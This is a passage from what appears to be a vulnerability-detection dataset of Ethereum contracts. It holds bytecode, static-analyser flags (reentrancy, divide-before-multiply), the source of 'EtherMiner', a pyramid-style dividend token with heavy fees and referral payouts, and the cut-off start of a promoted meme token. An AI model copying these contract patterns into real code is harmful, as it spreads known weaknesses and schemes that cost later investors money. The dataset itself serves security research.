000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fdf57600080fd5b600354811115611fee57600080fd5b8060038190555050565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561205957600080fd5b60055481108061206a575060045481115b1561207457600080fd5b8060058190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082600660008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156121435750826121408e8e8e8e8e8e8e8e8e8e612a67565b10155b15156121525760009050612157565b600190505b9c9b505050505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121c257600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561226757600080fd5b600454811180612278575060055481105b1561228257600080fd5b8060048190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122e757600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff16141561234e57600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156123d757600080fd5b61245d600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826135eb565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561258057600080fd5b505af1158015612594573d6000803e3d6000fd5b505050506040513d60208110156125aa57600080fd5b810190808051906020019092919050505015156125c657600080fd5b7ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567823383600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a15050565b60076020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60045481565b612792600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205434612e3d565b600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d760003334600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561295157600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806002308f8f8f8f8f8f604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af1158015612b7d573d6000803e3d6000fd5b5050506040513d6020811015612b9257600080fd5b81019080805190602001909291905050509250600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000846000191660001916815260200190815260200160002060009054906101000a900460ff1680612d0657508773ffffffffffffffffffffffffffffffffffffffff1660018460405180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040518091039020898989604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015612ce4573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16145b8015612d125750894311155b1515612d215760009350612e2c565b612d838d600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008660001916600019168152602001908152602001600020546135eb565b91508a612e0c600660008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548f613604565b811515612e1557fe5b04905080821015612e2857819350612e2c565b8093505b5050509a9950505050505050505050565b6000808284019050612e5d848210158015612e585750838210155b613637565b8091505092915050565b600080600080670de0b6b3a7640000612e8286600354613604565b811515612e8b57fe5b049350670de0b6b3a7640000612ea386600454613604565b811515612eac57fe5b049250600091506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561302857600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cbd0519876040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015612fb257600080fd5b505af1158015612fc6573d6000803e3d6000fd5b505050506040513d6020811015612fdc57600080fd5b81019080805190602001909291905050509050600181141561301a57670de0b6b3a764000061300d86600554613604565b81151561301657fe5b0491505b6002811415613027578291505b5b6130b7600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130b28786612e3d565b6135eb565b600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131cf600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ca6131c48886612e3d565b876135eb565b612e3d565b600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613309600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133046132fe8787612e3d565b856135eb565b612e3d565b600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613445600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548a6134368a89613604565b81151561343f57fe5b046135eb565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061355f600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548a6135508a89613604565b81151561355957fe5b04612e3d565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050505050505050565b60006135f983831115613637565b818303905092915050565b600080828402905061362d6000851480613628575083858381151561362557fe5b04145b613637565b8091505092915050565b80151561364357600080fd5b505600a165627a7a72305820bdf12cb2d68a77f5231b9d1d07c623f631f4a8336b3d237a0d400253dac802850029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,311 |
0x2eee31223b1d043e6b63da8360b682e3fd2ebfbe
|
pragma solidity ^0.4.25;
/*
* http://etherminer.club
*
* EtherMiner Machine
*
* [✓] 25% Withdraw fee
* [✓] 15% Deposit fee
* [✓] 1% Token transfer
* [✓] 30% Referral link
*
*/
contract EtherMiner{
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "EtherMiner";
string public symbol = "ETM";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 15;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 25;
uint8 constant internal refferalFee_ = 30;
uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.0000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106101105763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461011e57806306fdde031461015157806310d0ffdd146101db57806318160ddd146101f35780632260937314610208578063313ce567146102205780633ccfd60b1461024b5780634b7503341461026257806356d399e814610277578063688abbf71461028c5780636b2f4632146102a657806370a08231146102bb5780638620410b146102dc578063949e8acd146102f157806395d89b4114610306578063a9059cbb1461031b578063e4849b3214610353578063e9fad8ee1461036b578063f088d54714610380578063fdb5a03e14610394575b61011b3460006103a9565b50005b34801561012a57600080fd5b5061013f600160a060020a036004351661060c565b60408051918252519081900360200190f35b34801561015d57600080fd5b50610166610647565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a0578181015183820152602001610188565b50505050905090810190601f1680156101cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e757600080fd5b5061013f6004356106d5565b3480156101ff57600080fd5b5061013f610708565b34801561021457600080fd5b5061013f60043561070e565b34801561022c57600080fd5b5061023561074a565b6040805160ff9092168252519081900360200190f35b34801561025757600080fd5b5061026061074f565b005b34801561026e57600080fd5b5061013f610822565b34801561028357600080fd5b5061013f61087a565b34801561029857600080fd5b5061013f6004351515610880565b3480156102b257600080fd5b5061013f6108c3565b3480156102c757600080fd5b5061013f600160a060020a03600435166108c8565b3480156102e857600080fd5b5061013f6108e3565b3480156102fd57600080fd5b5061013f61092e565b34801561031257600080fd5b50610166610940565b34801561032757600080fd5b5061033f600160a060020a036004351660243561099a565b604080519115158252519081900360200190f35b34801561035f57600080fd5b50610260600435610b3d565b34801561037757600080fd5b50610260610ca9565b61013f600160a060020a0360043516610cd6565b3480156103a057600080fd5b50610260610ce2565b600033818080808080806103c86103c18c600f610d98565b6064610dce565b96506103d86103c188601e610d98565b95506103e48787610de5565b94506103f08b88610de5565b93506103fb84610df7565b9250680100000000000000008502915060008311801561042557506006546104238482610e8e565b115b151561043057600080fd5b600160a060020a038a161580159061045a575087600160a060020a03168a600160a060020a031614155b80156104805750600254600160a060020a038b1660009081526003602052604090205410155b156104c657600160a060020a038a166000908152600460205260409020546104a89087610e8e565b600160a060020a038b166000908152600460205260409020556104e1565b6104d08587610e8e565b945068010000000000000000850291505b60006006541115610545576104f860065484610e8e565b600681905568010000000000000000860281151561051257fe5b6007805492909104909101905560065468010000000000000000860281151561053757fe5b04830282038203915061054b565b60068390555b600160a060020a03881660009081526003602052604090205461056e9084610e8e565b600160a060020a03808a166000818152600360209081526040808320959095556007546005909152939020805493870286900393840190559192508b16907f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426105d86108e3565b604080519485526020850193909352838301919091526060830152519081900360800190a350909998505050505050505050565b600160a060020a0316600090815260056020908152604080832054600390925290912054600754680100000000000000009102919091030490565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106cd5780601f106106a2576101008083540402835291602001916106cd565b820191906000526020600020905b8154815290600101906020018083116106b057829003601f168201915b505050505081565b60008080806106e86103c186600f610d98565b92506106f48584610de5565b91506106ff82610df7565b95945050505050565b60065490565b600080600080600654851115151561072557600080fd5b61072e85610e9d565b925061073e6103c1846019610d98565b91506106ff8383610de5565b601281565b600080600061075e6001610880565b1161076857600080fd5b3391506107756000610880565b600160a060020a038316600081815260056020908152604080832080546801000000000000000087020190556004909152808220805490839055905193019350909183156108fc0291849190818181858888f193505050501580156107de573d6000803e3d6000fd5b50604080518281529051600160a060020a038416917fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc919081900360200190a25050565b60008060008060065460001415610841576414f46b03ff199350610874565b610852670de0b6b3a7640000610e9d565b92506108626103c1846019610d98565b915061086e8383610de5565b90508093505b50505090565b60025481565b60003382610896576108918161060c565b6108ba565b600160a060020a0381166000908152600460205260409020546108b88261060c565b015b91505b50919050565b303190565b600160a060020a031660009081526003602052604090205490565b600080600080600654600014156109015764199c82cc009350610874565b610912670de0b6b3a7640000610e9d565b92506109226103c184600f610d98565b915061086e8383610e8e565b60003361093a816108c8565b91505090565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106cd5780601f106106a2576101008083540402835291602001916106cd565b6000806000806000806109ab61092e565b116109b557600080fd5b336000818152600360205260409020549094508611156109d457600080fd5b60006109e06001610880565b11156109ee576109ee61074f565b6109fc6103c1876001610d98565b9250610a088684610de5565b9150610a1383610e9d565b9050610a2160065484610de5565b600655600160a060020a038416600090815260036020526040902054610a479087610de5565b600160a060020a038086166000908152600360205260408082209390935590891681522054610a769083610e8e565b600160a060020a0388811660008181526003602090815260408083209590955560078054948a16835260059091528482208054948c02909403909355825491815292909220805492850290920190915554600654610aea9190680100000000000000008402811515610ae457fe5b04610e8e565b600755604080518381529051600160a060020a03808a1692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35060019695505050505050565b6000806000806000806000610b5061092e565b11610b5a57600080fd5b33600081815260036020526040902054909650871115610b7957600080fd5b869450610b8585610e9d565b9350610b956103c1856019610d98565b9250610ba18484610de5565b9150610baf60065486610de5565b600655600160a060020a038616600090815260036020526040902054610bd59086610de5565b600160a060020a03871660009081526003602090815260408083209390935560075460059091529181208054928802680100000000000000008602019283900390556006549192501015610c4557610c41600754600654680100000000000000008602811515610ae457fe5b6007555b85600160a060020a03167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442610c7b6108e3565b604080519485526020850193909352838301919091526060830152519081900360800190a250505050505050565b3360008181526003602052604081205490811115610cca57610cca81610b3d565b610cd261074f565b5050565b60006108bd34836103a9565b600080600080610cf26001610880565b11610cfc57600080fd5b610d066000610880565b33600081815260056020908152604080832080546801000000000000000087020190556004909152812080549082905590920194509250610d489084906103a9565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080831515610dab5760009150610dc7565b50828202828482811515610dbb57fe5b0414610dc357fe5b8091505b5092915050565b6000808284811515610ddc57fe5b04949350505050565b600082821115610df157fe5b50900390565b6006546000906b204fce5e3e2502611000000090829064174876e800610e7b610e757323084f676940b7915149bd08b30d000000000000880269021e19e0c9bab24000006002860a02017005e0a1fd2712875988becaad00000000008502017704140c78940f6a24fdffc78873d4490d210000000000000001610f0a565b85610de5565b811515610e8457fe5b0403949350505050565b600082820183811015610dc357fe5b600654600090670de0b6b3a7640000838101918101908390610ef76414f46b03ff1982850464174876e80002018702600283670de0b6b3a763ffff1982890a8b9003010464174876e80002811515610ef157fe5b04610de5565b811515610f0057fe5b0495945050505050565b80600260018201045b818110156108bd578091506002818285811515610f2c57fe5b0401811515610f3757fe5b049050610f135600a165627a7a72305820afb573f60b0b9bd0fe71cf6658e358ed2c2c0b884f1faa10e025651870c2d4320029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 5,312 |
0xdec2959b3e7b5b9d28c3bbdb7b67e66b7797e243
|
/**
F1Shiba lnu differs from the rest of the meme crowd because it
has a passionate team working full time to develop a fully-fledged
ecosystem of applications surrounding the token. Our mission is
to not only drive a marketing and development campaign appealing
to cryptocurrency asset traders.
WEBSITE - https://f1shiba.in/
TELEGRAM - https://t.me/F1Shiba
TWITTER - https://twitter.com/F1Shiba
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address owneraddress;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
owneraddress = msgSender;
